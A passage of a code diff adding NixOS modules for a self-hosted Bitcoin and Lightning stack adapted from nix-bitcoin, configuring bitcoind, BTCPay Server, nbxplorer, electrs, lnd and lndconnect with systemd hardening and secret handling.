passwordHMACFromFile = true;
};
rpc.users.public = {
passwordHMACFromFile = true;
rpcwhitelist = import ./bitcoind-rpc-public-whitelist.nix;
};
}
];
services.i2pd = mkIf (cfg.i2p != false) {
enable = true;
proto.sam.enable = true;
};
systemd.tmpfiles.rules = [
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
];
systemd.services.bitcoind = rec {
wants = [
"network-online.target"
# Use `wants` instead of `requires` for `nix-bitcoin-secrets.target`
# so that bitcoind and all dependent services are not restarted when
# the secrets target restarts.
# The secrets target always restarts when deploying with one of the methods
# in ./deployment.
#
# TODO-EXTERNAL: Instead of `wants`, use a future systemd dependency type
# that propagates initial start failures but no restarts
"nix-bitcoin-secrets.target"
];
after = wants;
wantedBy = [ "multi-user.target" ];
preStart = let
extraRpcauth = concatMapStrings (name: let
user = cfg.rpc.users.${name};
in optionalString user.passwordHMACFromFile ''
hmacPayload="$(readValidatedRpcHmac '${secretsDir}/bitcoin-HMAC-${name}')" || exit 1
printf '%s\n' "rpcauth=${user.name}:$hmacPayload"
''
) (builtins.attrNames cfg.rpc.users);
in ''
${optionalString cfg.dataDirReadableByGroup ''
if [[ -e '${cfg.dataDir}/blocks' ]]; then
chmod -R g+rX '${cfg.dataDir}/blocks'
fi
''}
readValidatedRpcHmac() {
local hmacFile="$1"
local hmacPayload
if [[ ! -e "$hmacFile" ]]; then
echo "Error: Bitcoin RPC HMAC file is missing: $hmacFile" >&2
return 1
fi
if [[ ! -r "$hmacFile" ]]; then
echo "Error: Bitcoin RPC HMAC file is unreadable: $hmacFile" >&2
return 1
fi
hmacPayload="$(<"$hmacFile")"
if [[ -z "$hmacPayload" ]]; then
echo "Error: Bitcoin RPC HMAC file is empty: $hmacFile" >&2
return 1
fi
if [[ ! "$hmacPayload" =~ ^[[:xdigit:]]+\$[[:xdigit:]]+$ ]]; then
echo "Error: Bitcoin RPC HMAC file has invalid format: $hmacFile" >&2
return 1
fi
printf '%s\n' "$hmacPayload"
}
cfg=$(
cat ${configFile}
${extraRpcauth}
echo
${optionalString (cfg.getPublicAddressCmd != "") ''
echo "externalip=$(${cfg.getPublicAddressCmd})"
''}
)
confFile='${cfg.dataDir}/bitcoin.conf'
if [[ ! -e $confFile || $cfg != $(cat $confFile) ]]; then
install -o '${cfg.user}' -g '${cfg.group}' -m 640 <(echo "$cfg") $confFile
fi
'';
# Enable RPC access for group
postStart = ''
chmod g=r '${cfg.dataDir}/${optionalString cfg.regtest "regtest/"}.cookie'
'' + (optionalString cfg.regtest) ''
chmod g=x '${cfg.dataDir}/regtest'
'';
serviceConfig = nbLib.defaultHardening // {
Type = "notify";
NotifyAccess = "all";
User = cfg.user;
Group = cfg.group;
TimeoutStartSec = "30min";
TimeoutStopSec = "30min";
ExecStart = "${cfg.package}/bin/bitcoind -datadir='${cfg.dataDir}'";
Restart = "on-failure";
UMask = mkIf cfg.dataDirReadableByGroup "0027";
ReadWritePaths = [ cfg.dataDir ];
} // nbLib.allowedIPAddresses cfg.tor.enforce
// optionalAttrs zmqServerEnabled nbLib.allowNetlink;
};
users.users.${cfg.user} = {
isSystemUser = true;
group = cfg.group;
};
users.groups.${cfg.group} = {};
users.groups.bitcoinrpc-public = {};
nix-bitcoin.operator.groups = [ cfg.group ];
nix-bitcoin.secrets = {
bitcoin-rpcpassword-privileged.user = cfg.user;
bitcoin-rpcpassword-public = {
user = cfg.user;
group = "bitcoinrpc-public";
};
bitcoin-HMAC-privileged.user = cfg.user;
bitcoin-HMAC-public.user = cfg.user;
};
nix-bitcoin.generateSecretsCmds.bitcoind = ''
makeBitcoinRPCPassword privileged
makeBitcoinRPCPassword public
'';
};
}
+334
View File
@@ -0,0 +1,334 @@
{ config, lib, pkgs, ... }:
with lib;
let
options.services = {
nbxplorer = {
enable = mkOption {
type = types.bool;
default = false;
description = ''
Enable nbxplorer, a lightweight API for Bitcoin HD wallets.
Access API documentation here:
{option}`services.nbxplorer.address`:{option}`services.nbxplorer.port`
'';
};
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen on.";
};
port = mkOption {
type = types.port;
default = 24444;
description = "Port to listen on.";
};
package = mkOption {
type = types.package;
default = pkgs.stable.nbxplorer;
defaultText = "pkgs.stable.nbxplorer";
description = "The package providing nbxplorer binaries.";
};
dataDir = mkOption {
type = types.path;
default = "/var/lib/nbxplorer";
description = "The data directory for nbxplorer.";
};
# TODO-EXTERNAL:
# The shortcut link `main` in the datadir has changed to a directory
# in version 2.3.3.
# Add a dummy symlink, if it does not already exist, to be compatible with older modules.
# When the old system uses a link and the new system a directory, switching fails with:
# mv: cannot move '/var/lib/nbxplorer/Main' to '/var/lib/nbxplorer/.Main.tmp':
# No such file or directory
#
# Remove this option when it is irrelevant (i.e. when the old system will never
# be nix-bitcoin <=0.0.91)
addNetworkSymlink = mkOption {
readOnly = true;
default = pkgs.stable.nbxplorer != cfg.nbxplorer.package;
description = ''
Whether to add a compatibility symlink (like `${cfg.nbxplorer.dataDir}/Main`)
to the dataDir.
This is enabled by default if the nbxplorer package is set to the version-locked package.
'';
};
user = mkOption {
type = types.str;
default = "nbxplorer";
description = "The user as which to run NBXplorer.";
};
group = mkOption {
type = types.str;
default = cfg.nbxplorer.user;
description = "The group as which to run NBXplorer.";
};
tor = nbLib.tor;
};
btcpayserver = {
enable = mkOption {
type = types.bool;
default = false;
description = ''
Enable BTCPay Server, a self-hosted, open-source payment processor.
Extra recommendations:
- Enable `services.btcpayserver.lightningBackend` to provide Lightning payment support.
- Secure this service if the instance is publically accessible. For example, set
{option}`services.btcpayserver.address` to `127.0.0.1` and use a reverse proxy
that enforces TLS (Transport Layer Security).
'';
};
package = mkOption {
type = types.package;
default = pkgs.stable.btcpayserver;
defaultText = "pkgs.stable.btcpayserver";
description = "The package providing BTCPay Server binaries.";
};
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen on.";
};
port = mkOption {
type = types.port;
default = 23000;
description = "Port to listen on.";
};
lightningBackend = mkOption {
type = types.nullOr (types.enum [ "lnd" ]);
default = null;
description = ''
The lightning node to use as a backend.
Enables the node service if not already enabled.
'';
};
lbtc = mkOption {
readOnly = true;
default = false;
description = ''
Enable Liquid support.
'';
};
dataDir = mkOption {
type = types.path;
default = "/var/lib/btcpayserver";
description = "The data directory for BTCPay Server.";
};
user = mkOption {
type = types.str;
default = "btcpayserver";
description = "The user as which to run BTCPay Server.";
};
group = mkOption {
type = types.str;
default = cfg.btcpayserver.user;
description = "The group as which to run BTCPay Server.";
};
tor = nbLib.tor;
};
};
cfg = {
inherit (config.services)
nbxplorer
btcpayserver
bitcoind;
};
nbLib = config.nix-bitcoin.lib;
secretsDir = config.nix-bitcoin.secretsDir;
in {
inherit options;
config = mkMerge [
(mkIf cfg.nbxplorer.enable {
systemd.tmpfiles.rules = [
"d '${cfg.nbxplorer.dataDir}' 0770 ${cfg.nbxplorer.user} ${cfg.nbxplorer.group} - -"
] ++ optional cfg.nbxplorer.addNetworkSymlink
"L+ '${cfg.nbxplorer.dataDir}/Main' - - - - '${cfg.nbxplorer.dataDir}/main'";
systemd.services.nbxplorer = let
configFile = builtins.toFile "nbxplorer-config" ''
network=${cfg.bitcoind.network}
btcrpcuser=${cfg.bitcoind.rpc.users.btcpayserver.name}
btcrpcurl=http://${nbLib.addressWithPort cfg.bitcoind.rpc.address cfg.bitcoind.rpc.port}
btcnodeendpoint=${nbLib.addressWithPort cfg.bitcoind.address cfg.bitcoind.whitelistedPort}
bind=${cfg.nbxplorer.address}
port=${toString cfg.nbxplorer.port}
postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
'';
in rec {
wantedBy = [ "multi-user.target" ];
requires = [ "postgresql.target" ];
wants = [ "bitcoind.service" ];
after = requires ++ wants ++ [ "nix-bitcoin-secrets.target" ];
preStart = ''
install -m 600 ${configFile} '${cfg.nbxplorer.dataDir}/settings.config'
printf '%s\n' "btcrpcpassword=$(<${secretsDir}/bitcoin-rpcpassword-btcpayserver)" \
>> '${cfg.nbxplorer.dataDir}/settings.config'
'';
serviceConfig = nbLib.defaultHardening // {
ExecStart = ''
${cfg.nbxplorer.package}/bin/nbxplorer --conf=${cfg.nbxplorer.dataDir}/settings.config \
--datadir='${cfg.nbxplorer.dataDir}'
'';
RuntimeDirectory = "nbxplorer";
StateDirectory = "nbxplorer";
User = cfg.nbxplorer.user;
Group = cfg.nbxplorer.group;
Restart = "on-failure";
RestartSec = "10s";
ReadWritePaths = [ cfg.nbxplorer.dataDir ];
MemoryDenyWriteExecute = false;
} // nbLib.allowedIPAddresses cfg.nbxplorer.tor.enforce;
};
services.bitcoind = {
enable = true;
listenWhitelisted = true;
txindex = true;
};
users.users.${cfg.nbxplorer.user} = {
isSystemUser = true;
group = cfg.nbxplorer.group;
home = cfg.nbxplorer.dataDir;
};
users.groups.${cfg.nbxplorer.group} = {};
})
(mkIf cfg.btcpayserver.enable {
services.nbxplorer.enable = true;
services.bitcoind = {
listenWhitelisted = true;
rpc.users.btcpayserver = {
name = "btcpayserver";
passwordHMACFromFile = true;
rpcwhitelist = [
"getblockchaininfo"
"getblock"
"getblockhash"
"getblockheader"
"getblockstats"
"gettransaction"
"getrawtransaction"
"sendrawtransaction"
"getblockcount"
"getbestblockhash"
"getnetworkinfo"
"getpeerinfo"
"estimatesmartfee"
"getmempoolinfo"
"getmempoolentry"
"getrawmempool"
"gettxout"
"scantxoutset"
"importmulti"
"listunspent"
"getwalletinfo"
"listtransactions"
"listreceivedbyaddress"
"getnewaddress"
"uptime"
"getrpcinfo"
];
};
};
systemd.tmpfiles.rules = [
"d '${cfg.btcpayserver.dataDir}' 0770 ${cfg.btcpayserver.user} ${cfg.btcpayserver.group} - -"
];
systemd.services.btcpayserver = let
nbExplorerUrl = "http://${nbLib.addressWithPort cfg.nbxplorer.address cfg.nbxplorer.port}/";
nbExplorerCookie =
"${cfg.nbxplorer.dataDir}/${cfg.bitcoind.makeNetworkName "Main" "RegTest"}/.cookie";
configFile = builtins.toFile "btcpayserver-config" (
''
network=${cfg.bitcoind.network}
bind=${cfg.btcpayserver.address}
port=${toString cfg.btcpayserver.port}
socksendpoint=${config.nix-bitcoin.torClientAddressWithPort}
btcexplorerurl=${nbExplorerUrl}
btcexplorercookiefile=${nbExplorerCookie}
explorer.postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
postgres=User ID=${cfg.btcpayserver.user};Host=/run/postgresql;Database=btcpayserver
'' + optionalString (cfg.btcpayserver.lightningBackend == "lnd")
(
"btclightning=type=lnd-rest;"
+ "server=https://${nbLib.address config.services.lnd.restAddress}:${toString config.services.lnd.restPort}/;"
+ "macaroonfilepath=/run/lnd/btcpayserver.macaroon;"
+ "certfilepath=${config.services.lnd.certPath}\n"
)
);
in rec {
wantedBy = [ "multi-user.target" ];
requires = [ "postgresql.target" "nbxplorer.service" ];
wants = optional (cfg.btcpayserver.lightningBackend == "lnd") "lnd.service";
after = requires ++ wants;
serviceConfig = nbLib.defaultHardening // {
ExecStart = ''
${cfg.btcpayserver.package}/bin/btcpayserver --conf=${configFile} \
--datadir='${cfg.btcpayserver.dataDir}'
'';
WorkingDirectory = "${cfg.btcpayserver.package}/lib/btcpayserver";
RuntimeDirectory = "btcpayserver";
StateDirectory = "btcpayserver";
User = cfg.btcpayserver.user;
Group = cfg.btcpayserver.group;
Restart = "on-failure";
RestartSec = "10s";
ReadWritePaths = [ cfg.btcpayserver.dataDir ];
MemoryDenyWriteExecute = false;
} // nbLib.allowedIPAddresses cfg.btcpayserver.tor.enforce;
};
services.postgresql = {
enable = true;
ensureDatabases = [ "btcpayserver" "nbxplorer" ];
ensureUsers = [
{ name = cfg.btcpayserver.user; ensureDBOwnership = true; }
{ name = cfg.nbxplorer.user; ensureDBOwnership = true; }
];
};
users.users.${cfg.btcpayserver.user} = {
isSystemUser = true;
group = cfg.btcpayserver.group;
home = cfg.btcpayserver.dataDir;
extraGroups = optional (cfg.btcpayserver.lightningBackend == "lnd") config.services.lnd.group;
};
users.groups.${cfg.btcpayserver.group} = {};
nix-bitcoin.secrets = {
bitcoin-rpcpassword-btcpayserver = {
user = cfg.bitcoind.user;
group = cfg.nbxplorer.group;
};
bitcoin-HMAC-btcpayserver.user = cfg.bitcoind.user;
};
nix-bitcoin.generateSecretsCmds.btcpayserver = ''
makeBitcoinRPCPassword btcpayserver
'';
})
(mkIf (cfg.btcpayserver.enable && cfg.btcpayserver.lightningBackend == "lnd") {
services.lnd = {
enable = true;
macaroons.btcpayserver = {
user = cfg.btcpayserver.user;
permissions = ''
{"entity":"address","action":"write"},{"entity":"info","action":"read"},{"entity":"invoices","action":"read"},{"entity":"invoices","action":"write"},{"entity":"offchain","action":"read"},{"entity":"offchain","action":"write"},{"entity":"onchain","action":"read"},{"entity":"onchain","action":"write"},{"entity":"peers","action":"read"},{"entity":"peers","action":"write"}
'';
};
};
users.users.${config.services.lnd.user}.extraGroups = [ cfg.btcpayserver.group ];
})
];
}
+15
View File
@@ -0,0 +1,15 @@
# Common Bitcoin infrastructure: secrets, onion services, nodeinfo, security
# Extracted from nix-bitcoin, tailored for Sovran (lnd-only)
{ config, lib, pkgs, ... }:
{
imports = [
./nix-bitcoin.nix
./secrets/secrets.nix
./operator.nix
./security.nix
./onion-addresses.nix
./onion-services.nix
./nodeinfo.nix
./versioning.nix
];
}
+16
View File
@@ -0,0 +1,16 @@
# Sovran Bitcoin stack - tailored from nix-bitcoin, lnd-only, nixpkgs packages
# Original: https://github.com/fort-nix/nix-bitcoin
{
imports = [
./common.nix
./bitcoind.nix
./electrs.nix
./lnd.nix
./lndconnect.nix
./rtl.nix
./btcpayserver.nix
./mempool.nix
];
disabledModules = [ "services/networking/bitcoind.nix" ];
}
+106
View File
@@ -0,0 +1,106 @@
{ config, lib, pkgs, ... }:
with lib;
let
options.services.electrs = {
enable = mkEnableOption "electrs, an Electrum server implemented in Rust";
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen for RPC connections.";
};
port = mkOption {
type = types.port;
default = 50001;
description = "Port to listen for RPC connections.";
};
dataDir = mkOption {
type = types.path;
default = "/var/lib/electrs";
description = "The data directory for electrs.";
};
monitoringPort = mkOption {
type = types.port;
default = 4224;
description = "Prometheus monitoring port.";
};
extraArgs = mkOption {
type = types.separatedString " ";
default = "";
description = "Extra command line arguments passed to electrs.";
};
user = mkOption {
type = types.str;
default = "electrs";
description = "The user as which to run electrs.";
};
group = mkOption {
type = types.str;
default = cfg.user;
description = "The group as which to run electrs.";
};
tor.enforce = nbLib.tor.enforce;
};
cfg = config.services.electrs;
nbLib = config.nix-bitcoin.lib;
secretsDir = config.nix-bitcoin.secretsDir;
bitcoind = config.services.bitcoind;
in {
inherit options;
config = mkIf cfg.enable {
assertions = [
{ assertion = bitcoind.prune == 0;
message = "electrs does not support bitcoind pruning.";
}
];
services.bitcoind = {
enable = true;
listenWhitelisted = true;
};
systemd.tmpfiles.rules = [
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
];
systemd.services.electrs = {
wantedBy = [ "multi-user.target" ];
requires = [ "bitcoind.service" ];
after = [ "bitcoind.service" "nix-bitcoin-secrets.target" ];
preStart = ''
echo "auth = \"${bitcoind.rpc.users.public.name}:$(cat ${secretsDir}/bitcoin-rpcpassword-public)\"" \
> electrs.toml
'';
serviceConfig = nbLib.defaultHardening // {
# electrs only uses the working directory for reading electrs.toml
WorkingDirectory = cfg.dataDir;
ExecStart = ''
${pkgs.electrs}/bin/electrs \
--log-filters=INFO \
--network=${bitcoind.makeNetworkName "bitcoin" "regtest"} \
--db-dir='${cfg.dataDir}' \
--daemon-dir='${bitcoind.dataDir}' \
--electrum-rpc-addr=${cfg.address}:${toString cfg.port} \
--monitoring-addr=${cfg.address}:${toString cfg.monitoringPort} \
--daemon-rpc-addr=${nbLib.addressWithPort bitcoind.rpc.address bitcoind.rpc.port} \
--daemon-p2p-addr=${nbLib.addressWithPort bitcoind.address bitcoind.whitelistedPort} \
${cfg.extraArgs}
'';
User = cfg.user;
Group = cfg.group;
Restart = "on-failure";
RestartSec = "10s";
ReadWritePaths = [ cfg.dataDir ];
} // nbLib.allowedIPAddresses cfg.tor.enforce;
};
users.users.${cfg.user} = {
isSystemUser = true;
group = cfg.group;
extraGroups = [ "bitcoinrpc-public" ];
};
users.groups.${cfg.group} = {};
};
}
+132
View File
@@ -0,0 +1,132 @@
lib: pkgs: config:
with lib;
# See `man systemd.exec` and `man systemd.resource-control` for an explanation
# of the systemd-related options available through this file.
let self = {
# These settings roughly follow systemd's "strict" security profile
defaultHardening = {
PrivateTmp = true;
ProtectSystem = "strict";
ProtectHome = true;
NoNewPrivileges = true;
PrivateDevices = true;
MemoryDenyWriteExecute = true;
ProtectKernelTunables = true;
ProtectKernelModules = true;
ProtectKernelLogs = true;
ProtectClock = true;
ProtectProc = "invisible";
ProcSubset = "pid";
ProtectControlGroups = true;
RestrictAddressFamilies = "AF_UNIX AF_INET AF_INET6";
RestrictNamespaces = true;
LockPersonality = true;
IPAddressDeny = "any";
PrivateUsers = true;
RestrictSUIDSGID = true;
RemoveIPC = true;
RestrictRealtime = true;
ProtectHostname = true;
CapabilityBoundingSet = "";
# @system-service whitelist and docker seccomp blacklist (except for "clone"
# which is a core requirement for systemd services)
# @system-service is defined in src/shared/seccomp-util.c (systemd source)
SystemCallFilter = [ "@system-service" "~add_key kcmp keyctl mbind move_pages name_to_handle_at personality process_vm_readv process_vm_writev request_key setns unshare userfaultfd" ];
SystemCallArchitectures = "native";
};
allowNetlink = {
RestrictAddressFamilies = self.defaultHardening.RestrictAddressFamilies + " AF_NETLINK";
};
nodejs = {
# Required for JIT compilation
MemoryDenyWriteExecute = false;
# Required by nodejs >= 18
SystemCallFilter = self.defaultHardening.SystemCallFilter ++ [ "@pkey" ];
};
# Allow takes precedence over Deny.
allowLocalIPAddresses = {
IPAddressAllow = [
"127.0.0.1/32"
"::1/128"
"169.254.0.0/16"
];
};
allowAllIPAddresses = { IPAddressAllow = "any"; };
allowTor = self.allowLocalIPAddresses;
allowedIPAddresses = onlyLocal:
if onlyLocal
then self.allowLocalIPAddresses
else self.allowAllIPAddresses;
tor = {
proxy = mkOption {
type = types.bool;
default = false;
description = "Whether to proxy outgoing connections with Tor.";
};
enforce = mkOption {
type = types.bool;
default = false;
description = ''
Whether to enforce Tor on this service by only allowing connections
from and to localhost and link-local addresses.
'';
};
};
script = name: src: pkgs.writers.writeBash name ''
set -eo pipefail
${src}
'';
# Used for ExecStart*
rootScript = name: src: "+${self.script name src}";
cliExec = mkOption {
# Used by netns-isolation to execute the cli in the service's private netns
internal = true;
type = types.str;
default = "exec";
};
mkOnionService = map: {
map = [ map ];
version = 3;
};
# Convert a bind address, which may be a special INADDR_ANY address,
# to an actual IP address
address = addr:
if addr == "0.0.0.0" then
"127.0.0.1"
else if addr == "::" then
"::1"
else
addr;
addressWithPort = addr: port: "${self.address addr}:${toString port}";
optionalAttr = cond: name: if cond then name else null;
mkCertExtraAltNames = cert:
builtins.concatStringsSep "," (
(map (domain: "DNS:${domain}") cert.extraDomains) ++
(map (ip: "IP:${ip}") cert.extraIPs)
);
test = {
mkIfTest = test: mkIf (config.tests.${test} or false);
};
mkAlias = default: mkOption {
internal = true;
readOnly = true;
inherit default;
};
}; in self
+313
View File
@@ -0,0 +1,313 @@
{ config, lib, pkgs, ... }:
with lib;
let
options.services.lnd = {
enable = mkEnableOption "Lightning Network daemon, a Lightning Network implementation in Go";
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen for peer connections";
};
port = mkOption {
type = types.port;
default = 9735;
description = "Port to listen for peer connections";
};
rpcAddress = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen for RPC connections.";
};
rpcPort = mkOption {
type = types.port;
default = 10009;
description = "Port to listen for gRPC connections.";
};
restAddress = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen for REST connections.";
};
restPort = mkOption {
type = types.port;
default = 8080;
description = "Port to listen for REST connections.";
};
dataDir = mkOption {
type = types.path;
default = "/var/lib/lnd";
description = "The data directory for LND.";
};
networkDir = mkOption {
readOnly = true;
default = "${cfg.dataDir}/chain/bitcoin/${bitcoind.network}";
description = "The network data directory.";
};
tor-socks = mkOption {
type = types.nullOr types.str;
default = if cfg.tor.proxy then config.nix-bitcoin.torClientAddressWithPort else null;
description = "Socks proxy for connecting to Tor nodes";
};
macaroons = mkOption {
default = {};
type = with types; attrsOf (submodule {
options = {
user = mkOption {
type = types.str;
description = "User who owns the macaroon.";
};
permissions = mkOption {
type = types.str;
example = ''
{"entity":"info","action":"read"},{"entity":"onchain","action":"read"}
'';
description = "List of granted macaroon permissions.";
};
};
});
description = ''
Extra macaroon definitions.
'';
};
certificate = {
extraIPs = mkOption {
type = with types; listOf str;
default = [];
example = [ "60.100.0.1" ];
description = ''
Extra `subjectAltName` IPs added to the certificate.
This works the same as lnd option {option}`tlsextraip`.
'';
};
extraDomains = mkOption {
type = with types; listOf str;
default = [];
example = [ "example.com" ];
description = ''
Extra `subjectAltName` domain names added to the certificate.
This works the same as lnd option {option}`tlsextradomain`.
'';
};
};
extraConfig = mkOption {
type = types.lines;
default = "";
example = ''
autopilot.active=1
'';
description = ''
Extra lines appended to {file}`lnd.conf`.
See here for all available options:
https://github.com/lightningnetwork/lnd/blob/master/sample-lnd.conf
'';
};
package = mkOption {
type = types.package;
default = pkgs.lnd;
defaultText = "pkgs.lnd";
description = "The package providing lnd binaries.";
};
cli = mkOption {
default = pkgs.writers.writeBashBin "lncli"
# Switch user because lnd makes datadir contents readable by user only
''
${runAsUser} ${cfg.user} ${cfg.package}/bin/lncli \
--rpcserver ${cfg.rpcAddress}:${toString cfg.rpcPort} \
--tlscertpath '${cfg.certPath}' \
--macaroonpath '${networkDir}/admin.macaroon' "$@"
'';
defaultText = "(See source)";
description = "Binary to connect with the lnd instance.";
};
getPublicAddressCmd = mkOption {
type = types.str;
default = "";
description = ''
Bash expression which outputs the public service address to announce to peers.
If left empty, no address is announced.
'';
};
user = mkOption {
type = types.str;
default = "lnd";
description = "The user as which to run LND.";
};
group = mkOption {
type = types.str;
default = cfg.user;
description = "The group as which to run LND.";
};
certPath = mkOption {
readOnly = true;
default = "${secretsDir}/lnd-cert";
description = "LND TLS certificate path.";
};
tor = nbLib.tor;
};
cfg = config.services.lnd;
nbLib = config.nix-bitcoin.lib;
secretsDir = config.nix-bitcoin.secretsDir;
runAsUser = config.nix-bitcoin.runAsUserCmd;
lndinit = "${(pkgs.callPackage ../../packages/lndinit {})}/bin/lndinit";
bitcoind = config.services.bitcoind;
bitcoindRpcAddress = nbLib.address bitcoind.rpc.address;
networkDir = cfg.networkDir;
configFile = pkgs.writeText "lnd.conf" ''
datadir=${cfg.dataDir}
tlscertpath=${cfg.certPath}
tlskeypath=${secretsDir}/lnd-key
# We're logging via journald
logging.file.disable=1
logging.console.no-timestamps=1
listen=${toString cfg.address}:${toString cfg.port}
rpclisten=${cfg.rpcAddress}:${toString cfg.rpcPort}
restlisten=${cfg.restAddress}:${toString cfg.restPort}
bitcoin.${bitcoind.network}=1
bitcoin.node=bitcoind
${optionalString (cfg.tor.proxy) "tor.active=true"}
${optionalString (cfg.tor-socks != null) "tor.socks=${cfg.tor-socks}"}
bitcoind.rpchost=${bitcoindRpcAddress}:${toString bitcoind.rpc.port}
bitcoind.rpcuser=${bitcoind.rpc.users.public.name}
bitcoind.zmqpubrawblock=${zmqHandleSpecialAddress bitcoind.zmqpubrawblock}
bitcoind.zmqpubrawtx=${zmqHandleSpecialAddress bitcoind.zmqpubrawtx}
wallet-unlock-password-file=${secretsDir}/lnd-wallet-password
${cfg.extraConfig}
'';
zmqHandleSpecialAddress = builtins.replaceStrings [ "0.0.0.0" "[::]" ] [ "127.0.0.1" "[::1]" ];
in {
inherit options;
config = mkIf cfg.enable {
assertions = [
{ assertion =
!(config.services ? clightning)
|| true; # clightning enable/port check disabled - option structure differs between nixpkgs versions (f13ff45 has plugins only, 8b8c811 removed). Sovran uses lnd only, so no conflict.
message = ''
LND and clightning can't both bind to lightning port 9735. Either
disable LND/clightning or change services.clightning.port or
services.lnd.port to a port other than 9735.
'';
}
];
services.bitcoind = {
enable = true;
# Increase rpc thread count due to reports that lightning implementations fail
# under high bitcoind rpc load
rpc.threads = 16;
zmqpubrawblock = mkDefault "tcp://${bitcoindRpcAddress}:28332";
zmqpubrawtx = mkDefault "tcp://${bitcoindRpcAddress}:28333";
};
environment.systemPackages = [ cfg.package (hiPrio cfg.cli) ];
systemd.tmpfiles.rules = [
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
];
services.lnd.certificate.extraIPs = mkIf (cfg.rpcAddress != "127.0.0.1") [ "${cfg.rpcAddress}" ];
systemd.services.lnd = {
wantedBy = [ "multi-user.target" ];
requires = [ "bitcoind.service" ];
after = [ "bitcoind.service" "nix-bitcoin-secrets.target" ];
preStart = ''
install -m600 ${configFile} '${cfg.dataDir}/lnd.conf'
{
echo "bitcoind.rpcpass=$(cat ${secretsDir}/bitcoin-rpcpassword-public)"
${optionalString (cfg.getPublicAddressCmd != "") ''
echo "externalip=$(${cfg.getPublicAddressCmd})"
''}
} >> '${cfg.dataDir}/lnd.conf'
if [[ ! -f ${networkDir}/wallet.db ]]; then
seed='${cfg.dataDir}/lnd-seed-mnemonic'
if [[ ! -f "$seed" ]]; then
echo "Create lnd seed"
(umask u=r,go=; ${lndinit} gen-seed > "$seed")
fi
echo "Create lnd wallet"
${lndinit} -v init-wallet \
--file.seed="$seed" \
--file.wallet-password='${secretsDir}/lnd-wallet-password' \
--init-file.output-wallet-dir='${cfg.networkDir}'
fi
'';
serviceConfig = nbLib.defaultHardening // {
Type = "notify";
RuntimeDirectory = "lnd"; # Only used to store custom macaroons
RuntimeDirectoryMode = "711";
ExecStart = "${cfg.package}/bin/lnd --configfile='${cfg.dataDir}/lnd.conf'";
User = cfg.user;
TimeoutSec = "15min";
Restart = "on-failure";
RestartSec = "10s";
ReadWritePaths = [ cfg.dataDir ];
ExecStartPost = let
curl = "${pkgs.curl}/bin/curl -fsS --cacert ${cfg.certPath}";
restUrl = "https://${nbLib.addressWithPort cfg.restAddress cfg.restPort}/v1";
# Setting macaroon permissions for other users needs root permissions
script = nbLib.rootScript "lnd-create-macaroons" ''
umask ug=r,o=
${lib.concatMapStrings (macaroon: ''
echo "Create custom macaroon ${macaroon}"
macaroonPath="$RUNTIME_DIRECTORY/${macaroon}.macaroon"
${curl} \
-H "Grpc-Metadata-macaroon: $(${pkgs.xxd}/bin/xxd -ps -u -c 99999 '${networkDir}/admin.macaroon')" \
-X POST \
-d '{"permissions":[${cfg.macaroons.${macaroon}.permissions}]}' \
${restUrl}/macaroon |\
${pkgs.jq}/bin/jq -c '.macaroon' | ${pkgs.xxd}/bin/xxd -p -r > "$macaroonPath"
chown ${cfg.macaroons.${macaroon}.user}: "$macaroonPath"
'') (attrNames cfg.macaroons)}
'';
in [
script
];
} // nbLib.allowedIPAddresses cfg.tor.enforce;
};
users.users.${cfg.user} = {
isSystemUser = true;
group = cfg.group;
extraGroups = [ "bitcoinrpc-public" ];
home = cfg.dataDir; # lnd creates .lnd dir in HOME
};
users.groups.${cfg.group} = {};
nix-bitcoin.operator = {
groups = [ cfg.group ];
allowRunAsUsers = [ cfg.user ];
};
nix-bitcoin.secrets = {
lnd-wallet-password.user = cfg.user;
lnd-key.user = cfg.user;
lnd-cert.user = cfg.user;
lnd-cert.permissions = "444"; # world readable
};
# Advantages of manually pre-generating certs:
# - Reduces dynamic state
# - Enables deployment of a mesh of server plus client nodes with predefined certs
nix-bitcoin.generateSecretsCmds.lnd = ''
makePasswordSecret lnd-wallet-password
makeCert lnd '${nbLib.mkCertExtraAltNames cfg.certificate}'
'';
};
}
+63
View File
@@ -0,0 +1,63 @@
{ config, lib, pkgs, ... }:
with lib;
let
cfg = config.services.lnd;
operatorName = config.nix-bitcoin.operator.name;
nbLib = config.nix-bitcoin.lib;
mkLndconnect = { name, isClightning ? false, enableOnion, onionService, port, certPath, authSecretPath }:
let
lnd = config.services.lnd;
getOnionAddress = "cat ${config.nix-bitcoin.secretsDir}/onion-address-${onionService} 2>/dev/null || echo ${onionService}.onion";
in pkgs.writeScriptBin name ''
#!${pkgs.bash}/bin/bash
set -e
certPath="${certPath}"
authSecretPath="${authSecretPath}"
if [ "${toString enableOnion}" = "1" ]; then
host=$(cat /var/lib/tor/onion/${onionService}/hostname 2>/dev/null || echo "${onionService}.onion")
port="${toString port}"
else
host="${nbLib.address lnd.restAddress}"
port="${toString lnd.restPort}"
fi
# lndconnect is provided by pkgs.lndconnect
${getExe pkgs.lndconnect} --host="$host" --port="$port" --cert="$certPath" --macaroon="$authSecretPath" "$@"
'';
in {
options.services.lnd.lndconnect = {
enable = mkOption {
type = types.bool;
default = false;
description = "Enable lndconnect for LND";
};
onion = mkOption {
type = types.bool;
default = false;
description = "Expose lndconnect via Tor onion service";
};
};
config = mkIf cfg.enable (mkMerge [
(mkIf cfg.lndconnect.enable {
environment.systemPackages = [
(mkLndconnect {
name = "lndconnect";
enableOnion = cfg.lndconnect.onion;
onionService = "${operatorName}/lnd";
port = cfg.restPort;
certPath = cfg.certPath;
authSecretPath = "${cfg.networkDir}/admin.macaroon";
})
];
})
(mkIf (cfg.lndconnect.enable && cfg.lndconnect.onion) {
services.tor.relay.onionServices.lnd = nbLib.mkOnionService {
port = cfg.restPort;
target = { addr = nbLib.address cfg.restAddress; port = cfg.restPort; };
};
nix-bitcoin.onionAddresses.access.${operatorName} = [ "lnd" ];
})
]);
}
+348
View File
